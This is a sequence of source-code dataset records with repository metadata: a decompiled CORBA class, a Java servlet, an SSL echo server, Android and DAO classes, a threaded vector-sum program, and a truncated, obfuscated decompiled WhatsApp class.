/com/sun/corba/se/impl/dynamicany/DynStructImpl.java
|
03130578bed9de84a89d168120dfa202fc6af16c
|
[] |
no_license
|
ZhipingLi/rt-source
|
https://github.com/ZhipingLi/rt-source
|
5e2537ed5f25d9ba9a0f8009ff8eeca33930564c
|
1a70a036a07b2c6b8a2aac6f71964192c89aae3c
|
refs/heads/master
| 2023-07-14T15:00:33.100000 | 2021-09-01T04:49:04 | 2021-09-01T04:49:04 | 401,933,858 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.sun.corba.se.impl.dynamicany;
import com.sun.corba.se.spi.orb.ORB;
import java.io.Serializable;
import org.omg.CORBA.Any;
import org.omg.CORBA.Object;
import org.omg.CORBA.TCKind;
import org.omg.CORBA.TypeCode;
import org.omg.DynamicAny.DynAny;
import org.omg.DynamicAny.DynAnyPackage.InvalidValue;
import org.omg.DynamicAny.DynAnyPackage.TypeMismatch;
import org.omg.DynamicAny.DynStruct;
import org.omg.DynamicAny.NameDynAnyPair;
import org.omg.DynamicAny.NameValuePair;
public class DynStructImpl extends DynAnyComplexImpl implements DynStruct {
private DynStructImpl() { this(null, (Any)null, false); }
protected DynStructImpl(ORB paramORB, Any paramAny, boolean paramBoolean) { super(paramORB, paramAny, paramBoolean); }
protected DynStructImpl(ORB paramORB, TypeCode paramTypeCode) {
super(paramORB, paramTypeCode);
this.index = 0;
}
public NameValuePair[] get_members() {
if (this.status == 2)
throw this.wrapper.dynAnyDestroyed();
checkInitComponents();
return this.nameValuePairs;
}
public NameDynAnyPair[] get_members_as_dyn_any() {
if (this.status == 2)
throw this.wrapper.dynAnyDestroyed();
checkInitComponents();
return this.nameDynAnyPairs;
}
}
/* Location: D:\software\jd-gui\jd-gui-windows-1.6.3\rt.jar!\com\sun\corba\se\impl\dynamicany\DynStructImpl.class
* Java compiler version: 8 (52.0)
* JD-Core Version: 1.0.7
*/
|
UTF-8
|
Java
| 1,446 |
java
|
DynStructImpl.java
|
Java
|
[] | null |
[] |
package com.sun.corba.se.impl.dynamicany;
import com.sun.corba.se.spi.orb.ORB;
import java.io.Serializable;
import org.omg.CORBA.Any;
import org.omg.CORBA.Object;
import org.omg.CORBA.TCKind;
import org.omg.CORBA.TypeCode;
import org.omg.DynamicAny.DynAny;
import org.omg.DynamicAny.DynAnyPackage.InvalidValue;
import org.omg.DynamicAny.DynAnyPackage.TypeMismatch;
import org.omg.DynamicAny.DynStruct;
import org.omg.DynamicAny.NameDynAnyPair;
import org.omg.DynamicAny.NameValuePair;
public class DynStructImpl extends DynAnyComplexImpl implements DynStruct {
private DynStructImpl() { this(null, (Any)null, false); }
protected DynStructImpl(ORB paramORB, Any paramAny, boolean paramBoolean) { super(paramORB, paramAny, paramBoolean); }
protected DynStructImpl(ORB paramORB, TypeCode paramTypeCode) {
super(paramORB, paramTypeCode);
this.index = 0;
}
public NameValuePair[] get_members() {
if (this.status == 2)
throw this.wrapper.dynAnyDestroyed();
checkInitComponents();
return this.nameValuePairs;
}
public NameDynAnyPair[] get_members_as_dyn_any() {
if (this.status == 2)
throw this.wrapper.dynAnyDestroyed();
checkInitComponents();
return this.nameDynAnyPairs;
}
}
/* Location: D:\software\jd-gui\jd-gui-windows-1.6.3\rt.jar!\com\sun\corba\se\impl\dynamicany\DynStructImpl.class
* Java compiler version: 8 (52.0)
* JD-Core Version: 1.0.7
*/
| 1,446 | 0.73444 | 0.72545 | 45 | 31.155556 | 27.722399 | 126 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.688889 | false | false |
8
|
f088779e4892564fbd1f70e51798fa68d03889d7
| 13,821,204,805,825 |
af0daa282b807dcf9b2dc83a85bcc47ad22a4b3c
|
/src/controller/controller.java
|
ea177415a30caca2f2ae7b54ade8544885d470e2
|
[] |
no_license
|
wrsf89/-
|
https://github.com/wrsf89/-
|
1c2cbf0c773390a5611324adc2447762e15db5a0
|
d1999f1e09494ae1c46976015c71b5c641b9038c
|
refs/heads/master
| 2023-04-19T20:43:35.827000 | 2022-09-23T05:41:08 | 2022-09-23T05:41:08 | 354,726,992 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package controller;
import java.io.IOException;
import java.util.ArrayList;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import dto.dto;
import service.service;
//controller
/**
* Servlet implementation class controller
*/
@WebServlet({"/joinForm","/memberJoin","/memberList","/memberView","/memberUpdate","/moneyList"})
public class controller extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
public controller() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
doProcess(request, response);
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
doProcess(request, response);
}
protected void doProcess(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setCharacterEncoding("UTF-8");
RequestDispatcher dispatcher;
String url = request.getServletPath();
System.out.println("url ::" + url);
service service = new service();
HttpSession session = request.getSession();
switch(url) {
case "/joinForm":
System.out.println("joinForm");
int nextCno = service.nextCno();
session.setAttribute("nextCno",nextCno);
dispatcher = request.getRequestDispatcher("joinForm.jsp");
dispatcher.forward(request, response);
break;
case "/memberJoin":
System.out.println("memberJoin");
dto dto = new dto();
dto.setCustno(Integer.parseInt(request.getParameter("custno")));
dto.setCustname(request.getParameter("custname"));
dto.setPhone(request.getParameter("phone"));
dto.setAddress(request.getParameter("address"));
dto.setJoindate(request.getParameter("joindate"));
dto.setGrade(request.getParameter("greade"));
dto.setCity(request.getParameter("city"));
System.out.println(dto);
int joinResult = service.memberJoin(dto);
if(joinResult > 0) {
dispatcher = request.getRequestDispatcher("index.jsp");
dispatcher.forward(request, response);
}
break;
case "/memberList":
System.out.println("memberList");
ArrayList<dto> memberList = service.memberList();
request.setAttribute("memberList",memberList);
dispatcher = request.getRequestDispatcher("memberList.jsp");
dispatcher.forward(request, response);
break;
case "/memberView":
System.out.println("memberView");
int custno = Integer.parseInt(request.getParameter("custno"));
System.out.println("custno ::" + custno);
dto memberView = service.memberView(custno);
request.setAttribute("memberView",memberView);
dispatcher = request.getRequestDispatcher("memberView.jsp");
dispatcher.forward(request, response);
break;
case "/memberUpdate":
System.out.println("memberUpdate");
dto memberUpdate = new dto();
memberUpdate.setCustno(Integer.parseInt(request.getParameter("custno")));
memberUpdate.setCustname(request.getParameter("custname"));
memberUpdate.setPhone(request.getParameter("phone"));
memberUpdate.setAddress(request.getParameter("address"));
memberUpdate.setJoindate(request.getParameter("joindate"));
memberUpdate.setGrade(request.getParameter("grade"));
memberUpdate.setCity(request.getParameter("city"));
int updateResult = service.memberUpdate(memberUpdate);
if(updateResult > 0) {
dispatcher = request.getRequestDispatcher("memberView?custno="+ memberUpdate.getCustno());
dispatcher.forward(request, response);
}
break;
case "/moneyList":
System.out.println("moneyList");
ArrayList<dto> moneyList = service.moneyList();
request.setAttribute("moneyList",moneyList);
dispatcher = request.getRequestDispatcher("moneyList.jsp");
dispatcher.forward(request, response);
break;
}
}
}
|
UTF-8
|
Java
| 4,608 |
java
|
controller.java
|
Java
|
[] | null |
[] |
package controller;
import java.io.IOException;
import java.util.ArrayList;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import dto.dto;
import service.service;
//controller
/**
* Servlet implementation class controller
*/
@WebServlet({"/joinForm","/memberJoin","/memberList","/memberView","/memberUpdate","/moneyList"})
public class controller extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
public controller() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
doProcess(request, response);
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
doProcess(request, response);
}
protected void doProcess(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setCharacterEncoding("UTF-8");
RequestDispatcher dispatcher;
String url = request.getServletPath();
System.out.println("url ::" + url);
service service = new service();
HttpSession session = request.getSession();
switch(url) {
case "/joinForm":
System.out.println("joinForm");
int nextCno = service.nextCno();
session.setAttribute("nextCno",nextCno);
dispatcher = request.getRequestDispatcher("joinForm.jsp");
dispatcher.forward(request, response);
break;
case "/memberJoin":
System.out.println("memberJoin");
dto dto = new dto();
dto.setCustno(Integer.parseInt(request.getParameter("custno")));
dto.setCustname(request.getParameter("custname"));
dto.setPhone(request.getParameter("phone"));
dto.setAddress(request.getParameter("address"));
dto.setJoindate(request.getParameter("joindate"));
dto.setGrade(request.getParameter("greade"));
dto.setCity(request.getParameter("city"));
System.out.println(dto);
int joinResult = service.memberJoin(dto);
if(joinResult > 0) {
dispatcher = request.getRequestDispatcher("index.jsp");
dispatcher.forward(request, response);
}
break;
case "/memberList":
System.out.println("memberList");
ArrayList<dto> memberList = service.memberList();
request.setAttribute("memberList",memberList);
dispatcher = request.getRequestDispatcher("memberList.jsp");
dispatcher.forward(request, response);
break;
case "/memberView":
System.out.println("memberView");
int custno = Integer.parseInt(request.getParameter("custno"));
System.out.println("custno ::" + custno);
dto memberView = service.memberView(custno);
request.setAttribute("memberView",memberView);
dispatcher = request.getRequestDispatcher("memberView.jsp");
dispatcher.forward(request, response);
break;
case "/memberUpdate":
System.out.println("memberUpdate");
dto memberUpdate = new dto();
memberUpdate.setCustno(Integer.parseInt(request.getParameter("custno")));
memberUpdate.setCustname(request.getParameter("custname"));
memberUpdate.setPhone(request.getParameter("phone"));
memberUpdate.setAddress(request.getParameter("address"));
memberUpdate.setJoindate(request.getParameter("joindate"));
memberUpdate.setGrade(request.getParameter("grade"));
memberUpdate.setCity(request.getParameter("city"));
int updateResult = service.memberUpdate(memberUpdate);
if(updateResult > 0) {
dispatcher = request.getRequestDispatcher("memberView?custno="+ memberUpdate.getCustno());
dispatcher.forward(request, response);
}
break;
case "/moneyList":
System.out.println("moneyList");
ArrayList<dto> moneyList = service.moneyList();
request.setAttribute("moneyList",moneyList);
dispatcher = request.getRequestDispatcher("moneyList.jsp");
dispatcher.forward(request, response);
break;
}
}
}
| 4,608 | 0.709635 | 0.708767 | 122 | 35.770493 | 25.921947 | 122 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.098361 | false | false |
8
|
2aeede92a7614e8c6da94a2987ed05beef3f02bd
| 14,714,557,971,093 |
c681cdcaeea6d22d49d2089fc59e9cf10c01716f
|
/RM4I_2019_2020/p07_SSL_Sockets/p04_handshake_extra/HandshakeServer.java
|
663190de973ef10c0348ef8a4b0e0d7d9092d9e8
|
[
"MIT"
] |
permissive
|
MATF-Computer-Networks/RM-4I-2019-2020
|
https://github.com/MATF-Computer-Networks/RM-4I-2019-2020
|
6582a4303162a7cf6840beed64c9e6dd330652fb
|
c6f2abdc4a47353f1d67948c1195734e27459f96
|
refs/heads/master
| 2020-08-11T18:39:10.028000 | 2020-05-10T11:25:09 | 2020-05-10T11:25:09 | 214,609,565 | 1 | 12 |
MIT
| false | 2020-05-10T11:25:10 | 2019-10-12T08:29:54 | 2020-01-17T00:05:03 | 2020-05-10T11:25:10 | 169 | 1 | 7 | 0 |
Java
| false | false |
package p04_handshake_extra;
import java.net.*;
import java.io.*;
import java.nio.charset.StandardCharsets;
import javax.net.ssl.*;
// Secure echo server
class HandshakeServer {
private final static int SSL_ECHO_PORT = 7000;
// Paths to key store and trust store files and their passwords
private final static String KS_PATH = "server.jks";
private final static String KS_PASS = "changeit";
private final static String TS_PATH = "clients.jks";
private final static String TS_PASS = "changeit";
public static void main(String[] args) throws Exception {
(new HandshakeServer()).run(args);
}
private void run(String[] args) throws Exception {
int port = SSL_ECHO_PORT;
boolean clientAuth = false;
// Parse cmd args
for (int i = 0; i < args.length; i++) {
if ("-port".equals(args[i]))
port = Integer.parseInt(args[++i]);
else if ("-clientauth".equals(args[i]))
clientAuth = true;
else {
System.out.println("Usage: java HandshakeServer [-port <port>] [-clientauth]");
return;
}
}
// Set the paths
System.setProperty("javax.net.ssl.keyStore", KS_PATH);
System.setProperty("javax.net.ssl.keyStorePassword", KS_PASS);
if (clientAuth) {
System.setProperty("javax.net.ssl.trustStore", TS_PATH);
System.setProperty("javax.net.ssl.trustStorePassword", TS_PASS);
}
SSLServerSocketFactory factory = (SSLServerSocketFactory)SSLServerSocketFactory.getDefault();
System.out.println("factory created");
SSLServerSocket server = (SSLServerSocket)factory.createServerSocket(port);
System.out.println("Server socket created");
if (clientAuth)
server.setNeedClientAuth(true);
//noinspection InfiniteLoopStatement
while (true) {
Socket socket = server.accept();
Service service = new Service(socket);
service.start();
}
}
static class Service extends Thread {
private Socket socket;
Service(Socket socket) {
this.socket = socket;
}
public void run() {
System.out.println("connected - " + socket.getRemoteSocketAddress());
try (
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream(), StandardCharsets.UTF_8));
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), StandardCharsets.UTF_8))
) {
String s;
while ((s = in.readLine()) != null) {
if (!s.isBlank())
out.write(s);
out.newLine();
out.flush();
System.out.println(s);
if (s.equals("."))
break;
}
System.out.println("closing - " + socket.getRemoteSocketAddress());
} catch (Exception e) {
System.err.println("Service errored.");
e.printStackTrace();
} finally {
try {
socket.close();
} catch (IOException ioex) {
// Ignored
}
}
}
}
}
|
UTF-8
|
Java
| 2,781 |
java
|
HandshakeServer.java
|
Java
|
[
{
"context": "ver.jks\";\n\tprivate final static String KS_PASS = \"changeit\";\n\tprivate final static String TS_PATH = \"clients",
"end": 397,
"score": 0.9993507862091064,
"start": 389,
"tag": "PASSWORD",
"value": "changeit"
},
{
"context": "nts.jks\";\n\tprivate final static String TS_PASS = \"changeit\";\n\n\t\n\tpublic static void main(String[] args) thro",
"end": 502,
"score": 0.9993301033973694,
"start": 494,
"tag": "PASSWORD",
"value": "changeit"
}
] | null |
[] |
package p04_handshake_extra;
import java.net.*;
import java.io.*;
import java.nio.charset.StandardCharsets;
import javax.net.ssl.*;
// Secure echo server
class HandshakeServer {
private final static int SSL_ECHO_PORT = 7000;
// Paths to key store and trust store files and their passwords
private final static String KS_PATH = "server.jks";
private final static String KS_PASS = "<PASSWORD>";
private final static String TS_PATH = "clients.jks";
private final static String TS_PASS = "<PASSWORD>";
public static void main(String[] args) throws Exception {
(new HandshakeServer()).run(args);
}
private void run(String[] args) throws Exception {
int port = SSL_ECHO_PORT;
boolean clientAuth = false;
// Parse cmd args
for (int i = 0; i < args.length; i++) {
if ("-port".equals(args[i]))
port = Integer.parseInt(args[++i]);
else if ("-clientauth".equals(args[i]))
clientAuth = true;
else {
System.out.println("Usage: java HandshakeServer [-port <port>] [-clientauth]");
return;
}
}
// Set the paths
System.setProperty("javax.net.ssl.keyStore", KS_PATH);
System.setProperty("javax.net.ssl.keyStorePassword", KS_PASS);
if (clientAuth) {
System.setProperty("javax.net.ssl.trustStore", TS_PATH);
System.setProperty("javax.net.ssl.trustStorePassword", TS_PASS);
}
SSLServerSocketFactory factory = (SSLServerSocketFactory)SSLServerSocketFactory.getDefault();
System.out.println("factory created");
SSLServerSocket server = (SSLServerSocket)factory.createServerSocket(port);
System.out.println("Server socket created");
if (clientAuth)
server.setNeedClientAuth(true);
//noinspection InfiniteLoopStatement
while (true) {
Socket socket = server.accept();
Service service = new Service(socket);
service.start();
}
}
static class Service extends Thread {
private Socket socket;
Service(Socket socket) {
this.socket = socket;
}
public void run() {
System.out.println("connected - " + socket.getRemoteSocketAddress());
try (
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream(), StandardCharsets.UTF_8));
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), StandardCharsets.UTF_8))
) {
String s;
while ((s = in.readLine()) != null) {
if (!s.isBlank())
out.write(s);
out.newLine();
out.flush();
System.out.println(s);
if (s.equals("."))
break;
}
System.out.println("closing - " + socket.getRemoteSocketAddress());
} catch (Exception e) {
System.err.println("Service errored.");
e.printStackTrace();
} finally {
try {
socket.close();
} catch (IOException ioex) {
// Ignored
}
}
}
}
}
| 2,785 | 0.675656 | 0.67242 | 109 | 24.513762 | 25.420361 | 117 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.541284 | false | false |
8
|
7e50ef54cddef2dfa4aec986ff4277fc9422b933
| 31,490,700,228,675 |
e9a3046cbebed0dcd42d1381ebe4d94b304b80a3
|
/app/src/main/java/com/example/news/application/NewsApplication.java
|
992fcc2619a75e06d3c0aefbe519a37d386333f3
|
[] |
no_license
|
vladbakalo/News
|
https://github.com/vladbakalo/News
|
9a94083d67a7411558a27464206d75bd63d45651
|
3fc3b96b816932ac0c378c8360176d7f636b5fce
|
refs/heads/master
| 2022-04-09T13:13:44.318000 | 2020-02-24T11:35:45 | 2020-02-24T11:35:45 | 115,251,821 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.news.application;
import android.app.Application;
import com.example.news.dagger.component.AppComponent;
import com.example.news.dagger.component.DaggerAppComponent;
import com.example.news.dagger.module.ApiModule;
import com.example.news.dagger.module.AppModule;
import com.facebook.FacebookSdk;
import com.facebook.appevents.AppEventsLogger;
/**
* Application class
*
*/
public class NewsApplication extends Application {
private AppComponent mAppComponent;
@Override
public void onCreate() {
super.onCreate();
FacebookSdk.sdkInitialize(getApplicationContext());
AppEventsLogger.activateApp(this);
mAppComponent = DaggerAppComponent.builder()
.appModule(new AppModule(this))
.apiModule(new ApiModule(Constants.NEWS_API_URL))
.build();
}
public AppComponent getNetComponent() {
return mAppComponent;
}
}
|
UTF-8
|
Java
| 946 |
java
|
NewsApplication.java
|
Java
|
[] | null |
[] |
package com.example.news.application;
import android.app.Application;
import com.example.news.dagger.component.AppComponent;
import com.example.news.dagger.component.DaggerAppComponent;
import com.example.news.dagger.module.ApiModule;
import com.example.news.dagger.module.AppModule;
import com.facebook.FacebookSdk;
import com.facebook.appevents.AppEventsLogger;
/**
* Application class
*
*/
public class NewsApplication extends Application {
private AppComponent mAppComponent;
@Override
public void onCreate() {
super.onCreate();
FacebookSdk.sdkInitialize(getApplicationContext());
AppEventsLogger.activateApp(this);
mAppComponent = DaggerAppComponent.builder()
.appModule(new AppModule(this))
.apiModule(new ApiModule(Constants.NEWS_API_URL))
.build();
}
public AppComponent getNetComponent() {
return mAppComponent;
}
}
| 946 | 0.714588 | 0.714588 | 34 | 26.82353 | 21.62579 | 65 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.411765 | false | false |
8
|
b0b8275596ca62667bf61c4eb372b2483c2b81d6
| 35,072,702,939,583 |
4131c163521ddc841fae32c9ff5011b503885e10
|
/Blog/src/DAO_Interface/ArticleDao.java
|
ad6101e4491d8a5da8bf94f0b25b63c165f3dc52
|
[] |
no_license
|
Wsj090936/MyBlog
|
https://github.com/Wsj090936/MyBlog
|
76857fec24fdfda9c1f918df30a0ceb525c95947
|
0e517cad7e426f31aba5c98bffe421abe7401310
|
refs/heads/master
| 2021-01-19T12:23:18.612000 | 2017-09-14T12:07:46 | 2017-09-14T12:07:46 | 100,781,087 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package DAO_Interface;
import java.util.List;
import domain.Article;
public interface ArticleDao {
/**
* 根据用户名查找该用户发表的所有文章
* @param username
* @return
*/
public List<Article> findAllArticles();
/**
* 添加文章
* @param article
*/
public void publishArticle(Article article);
/**
* 根据id找到文章
* @param id
* @return
*/
public Article findArticleById(String id);
/**
* 修改文章
* @param article
*/
public void editArticle(Article article);
/**
* 删除文章
* @param id
*/
public void deleteArticle(String id);
/**
* 返回数据库中文章的总数
* @return
*/
public int count();
/**
* 根据pageSize找到文章
* @param currentPage
* @param pageSize
* @return
*/
public List<Article> findArticles(int currentPage, int pageSize);
}
|
GB18030
|
Java
| 853 |
java
|
ArticleDao.java
|
Java
|
[] | null |
[] |
package DAO_Interface;
import java.util.List;
import domain.Article;
public interface ArticleDao {
/**
* 根据用户名查找该用户发表的所有文章
* @param username
* @return
*/
public List<Article> findAllArticles();
/**
* 添加文章
* @param article
*/
public void publishArticle(Article article);
/**
* 根据id找到文章
* @param id
* @return
*/
public Article findArticleById(String id);
/**
* 修改文章
* @param article
*/
public void editArticle(Article article);
/**
* 删除文章
* @param id
*/
public void deleteArticle(String id);
/**
* 返回数据库中文章的总数
* @return
*/
public int count();
/**
* 根据pageSize找到文章
* @param currentPage
* @param pageSize
* @return
*/
public List<Article> findArticles(int currentPage, int pageSize);
}
| 853 | 0.6502 | 0.6502 | 47 | 14.936171 | 14.196799 | 66 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.06383 | false | false |
8
|
b334b9d5befa9ec394b0c7a4af70719a401ef7b3
| 10,934,986,796,878 |
7b2dcca1db6280616ccba04ad0b8b1a980891eb2
|
/vector_sum/SomaVetores.java
|
d071334a2394e6981c0c553010079e3c8f7493b5
|
[] |
no_license
|
silviomm/concurrent-programming
|
https://github.com/silviomm/concurrent-programming
|
635f26e3ff088e968a59ce7c9400da1cdc7fc840
|
63a062d604e74df672914551f3bd65256192ef04
|
refs/heads/master
| 2020-06-23T14:08:11.964000 | 2019-07-29T08:50:40 | 2019-07-29T08:50:40 | 198,645,111 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
import java.util.Scanner;
public class SomaVetores {
private static int nthreads;
private static int tam;
public static void main(String[] args) throws InterruptedException {
Scanner in = new Scanner(System.in);
System.out.println("Tamanho do vetor...");
tam = in.nextInt();
System.out.println("Numero de threads...");
nthreads = in.nextInt();
Thread[] threads = new Thread[nthreads];
V v = new V(tam, nthreads);
criaThreads(threads, v);
startaThreads(threads);
esperaTerminar(threads);
// System.out.print("A: ");
// imprime(v.getA());
// System.out.print("B: ");
// imprime(v.getB());
// System.out.print("C: ");
// imprime(v.getC());
}
private static void imprime(int[] v) {
System.out.print("[");
for (int i = 0; i < tam; i++) {
if(i != tam-1)
System.out.print(v[i]+",");
else
System.out.print(v[i]);
}
System.out.println("]");
}
private static void esperaTerminar(Thread[] threads) throws InterruptedException {
for (int i = 0; i < threads.length; i++) {
System.out.println("Esperando thread: " + i);
threads[i].join();
}
}
private static void startaThreads(Thread[] threads) {
for (int i = 0; i < threads.length; i++) {
System.out.println("Rodando a thread: "+i);
threads[i].start();
}
}
private static void criaThreads(Thread[] threads, V v) {
for (int i = 0; i < threads.length; i++) {
System.out.println("Criando a thread: " + i);
threads[i] = new Thread(new Soma(v, i));
}
}
}
|
UTF-8
|
Java
| 1,501 |
java
|
SomaVetores.java
|
Java
|
[] | null |
[] |
import java.util.Scanner;
public class SomaVetores {
private static int nthreads;
private static int tam;
public static void main(String[] args) throws InterruptedException {
Scanner in = new Scanner(System.in);
System.out.println("Tamanho do vetor...");
tam = in.nextInt();
System.out.println("Numero de threads...");
nthreads = in.nextInt();
Thread[] threads = new Thread[nthreads];
V v = new V(tam, nthreads);
criaThreads(threads, v);
startaThreads(threads);
esperaTerminar(threads);
// System.out.print("A: ");
// imprime(v.getA());
// System.out.print("B: ");
// imprime(v.getB());
// System.out.print("C: ");
// imprime(v.getC());
}
private static void imprime(int[] v) {
System.out.print("[");
for (int i = 0; i < tam; i++) {
if(i != tam-1)
System.out.print(v[i]+",");
else
System.out.print(v[i]);
}
System.out.println("]");
}
private static void esperaTerminar(Thread[] threads) throws InterruptedException {
for (int i = 0; i < threads.length; i++) {
System.out.println("Esperando thread: " + i);
threads[i].join();
}
}
private static void startaThreads(Thread[] threads) {
for (int i = 0; i < threads.length; i++) {
System.out.println("Rodando a thread: "+i);
threads[i].start();
}
}
private static void criaThreads(Thread[] threads, V v) {
for (int i = 0; i < threads.length; i++) {
System.out.println("Criando a thread: " + i);
threads[i] = new Thread(new Soma(v, i));
}
}
}
| 1,501 | 0.620253 | 0.616922 | 68 | 21.07353 | 19.744184 | 83 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.132353 | false | false |
8
|
97255acbb9c063e5a4ffb5acfb2953edadcc9a81
| 33,921,651,710,535 |
9a6ea6087367965359d644665b8d244982d1b8b6
|
/src/main/java/X/C02360Br.java
|
aa23dd9477713827d8fdaa659a591d825bb2b6c2
|
[] |
no_license
|
technocode/com.wa_2.21.2
|
https://github.com/technocode/com.wa_2.21.2
|
a3dd842758ff54f207f1640531374d3da132b1d2
|
3c4b6f3c7bdef7c1523c06d5bd9a90b83acc80f9
|
refs/heads/master
| 2023-02-12T11:20:28.666000 | 2021-01-14T10:22:21 | 2021-01-14T10:22:21 | 329,578,591 | 2 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package X;
import android.os.Handler;
import android.os.Message;
import android.util.Base64;
import com.whatsapp.jid.DeviceJid;
import com.whatsapp.jid.Jid;
import com.whatsapp.jid.UserJid;
import com.whatsapp.jobqueue.job.SendWebForwardJob;
import com.whatsapp.util.Log;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.Iterator;
import java.util.List;
/* renamed from: X.0Br reason: invalid class name and case insensitive filesystem */
public class C02360Br implements AbstractC02370Bs, AbstractC02380Bt, AnonymousClass0AZ {
public static AbstractC02390Bu A0F = C57762kp.A00;
public static AbstractC02390Bu A0G = C57772kq.A00;
public static volatile C02360Br A0H;
public final AnonymousClass0AV A00;
public final AnonymousClass0CD A01;
public final AnonymousClass01I A02;
public final AnonymousClass09G A03;
public final AnonymousClass01J A04;
public final AnonymousClass09K A05;
public final AnonymousClass0AX A06;
public final C02120As A07;
public final AnonymousClass01T A08;
public final AnonymousClass09E A09;
public final AnonymousClass0CB A0A;
public final AnonymousClass09H A0B;
public final AnonymousClass00T A0C;
public final C02400Bv A0D;
public final AnonymousClass0C4 A0E;
public C02360Br(AnonymousClass01I r1, AnonymousClass00T r2, C02400Bv r3, AnonymousClass0C4 r4, AnonymousClass09E r5, AnonymousClass09G r6, AnonymousClass01J r7, AnonymousClass09H r8, AnonymousClass0CB r9, AnonymousClass09K r10, AnonymousClass0CD r11, AnonymousClass0AV r12, C02120As r13, AnonymousClass01T r14, AnonymousClass0AX r15) {
this.A02 = r1;
this.A0C = r2;
this.A0D = r3;
this.A0E = r4;
this.A09 = r5;
this.A03 = r6;
this.A04 = r7;
this.A0B = r8;
this.A0A = r9;
this.A05 = r10;
this.A01 = r11;
this.A00 = r12;
this.A07 = r13;
this.A08 = r14;
this.A06 = r15;
}
public static C02360Br A00() {
if (A0H == null) {
synchronized (AnonymousClass0AR.class) {
if (A0H == null) {
AnonymousClass01I A002 = AnonymousClass01I.A00();
AnonymousClass00T A003 = C002101e.A00();
C02400Bv A004 = C02400Bv.A00();
AnonymousClass0C4 A005 = AnonymousClass0C4.A00();
AnonymousClass09E A006 = AnonymousClass09E.A00();
AnonymousClass09G A007 = AnonymousClass09G.A00();
AnonymousClass01J A008 = AnonymousClass01J.A00();
AnonymousClass0AN.A00();
AnonymousClass09H A012 = AnonymousClass09H.A01();
C014308b.A00();
AnonymousClass0CB A009 = AnonymousClass0CB.A00();
AnonymousClass09K r12 = AnonymousClass09K.A07;
AnonymousClass0BB.A00();
AnonymousClass0CD A0010 = AnonymousClass0CD.A00();
AnonymousClass01P.A00();
A0H = new C02360Br(A002, A003, A004, A005, A006, A007, A008, A012, A009, r12, A0010, AnonymousClass0AV.A00(), C02120As.A00(), AnonymousClass01T.A00(), AnonymousClass0AX.A00());
}
}
}
return A0H;
}
public void A01(int i, AnonymousClass02N r9, long j, int i2) {
if (!AnonymousClass1VY.A0d(r9)) {
A0C(new AnonymousClass1XZ(r9, i, j, 0), i2);
}
}
public void A02(int i, String str, String str2) {
if (this.A05.A06 && str != null) {
this.A0B.A09(Message.obtain(null, 0, 49, 0, new AnonymousClass226(i, str, str2)));
}
}
public final void A03(AnonymousClass0AW r7, boolean z) {
if (this.A05.A06 && this.A0D.A03()) {
double A002 = r7.A00();
if (!Double.isNaN(A002)) {
AnonymousClass0C4 r3 = this.A0E;
AnonymousClass1YZ r1 = new AnonymousClass1YZ((int) A002, r7.A01(), z);
if (!r1.equals(r3.A0U.getAndSet(r1))) {
this.A0B.A09(Message.obtain(null, 0, 56, 0, new C448721z(r1)));
}
}
}
}
public void A04(AnonymousClass0OP r9, boolean z) {
C02400Bv r3 = this.A0D;
if ((r3.A03() || z) && AnonymousClass1VY.A0T(r9)) {
ArrayList arrayList = new ArrayList(this.A08.A01(r9).A03().A02());
AnonymousClass01I r0 = this.A02;
r0.A04();
arrayList.remove(r0.A03);
AnonymousClass3WN r2 = new AnonymousClass3WN(this, r9, z);
((AbstractC67843As) r2).A00 = r3.A01().A03;
AnonymousClass0C4 r02 = this.A0E;
AnonymousClass237 r1 = new AnonymousClass237(r02, r2);
String A032 = r02.A03();
AnonymousClass01J r5 = this.A04;
r5.A00.A01(new SendWebForwardJob(A032, r3.A01().A03, Message.obtain(null, 0, 51, 0, new C448621y(A032, r9, arrayList, r1))));
}
}
public void A05(AnonymousClass02N r12, Collection collection, int i) {
